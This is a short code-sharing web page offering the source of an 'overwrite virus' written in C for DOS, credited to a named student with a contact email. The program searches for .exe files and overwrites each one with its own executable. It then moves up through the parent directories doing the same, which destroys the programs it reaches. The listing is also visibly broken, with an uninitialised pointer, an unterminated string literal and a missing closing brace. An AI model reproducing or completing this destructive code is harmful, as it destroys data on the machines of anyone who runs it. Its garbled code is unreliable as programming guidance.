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Displaying Source Code(s)
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overwrite virus coded in C
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Description : It is a overwrite virus written ic C .When u run
this program ,the program will overwrite all the exe files
present in the current directory and the parent directory
Code :
/*A virus program
coded by Tapan Kumar Mishra
BE Electrical Engg.
IGIT Sarang,Orissa
7th sem
email id:titu_igit@rediffmail.com
*/
#include<stdio.h>
#include<dir.h>
#include<dos.h>
void main(int argc,char *argv[])
{
int bytes,i,done;
FILE *virus,*host;
struct ffblk *f;
char buffer[512];
do
{
done=findfirst("*.exe",f,0);
while(!done)
{
virus=fopen(argv[0],"rb");//open the virus in read mode
host=fopen(f->ff_name,"rb+");//open the host file in r/w mode
for(;fread(buffer,512,1,virus)==1;)
fwrite(buffer,512,1,host);
fclose(host);
fseek(virus,0,0);//points to begining of virus
printf("infecting %s <BR>,f->ff_name);
done=findnext(f);
}
}
while(!chdir(".."));
printf("For any querry contact
Tapan Kumar
Mishra,id:titu_igit@rediffmail.com");
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123
Eng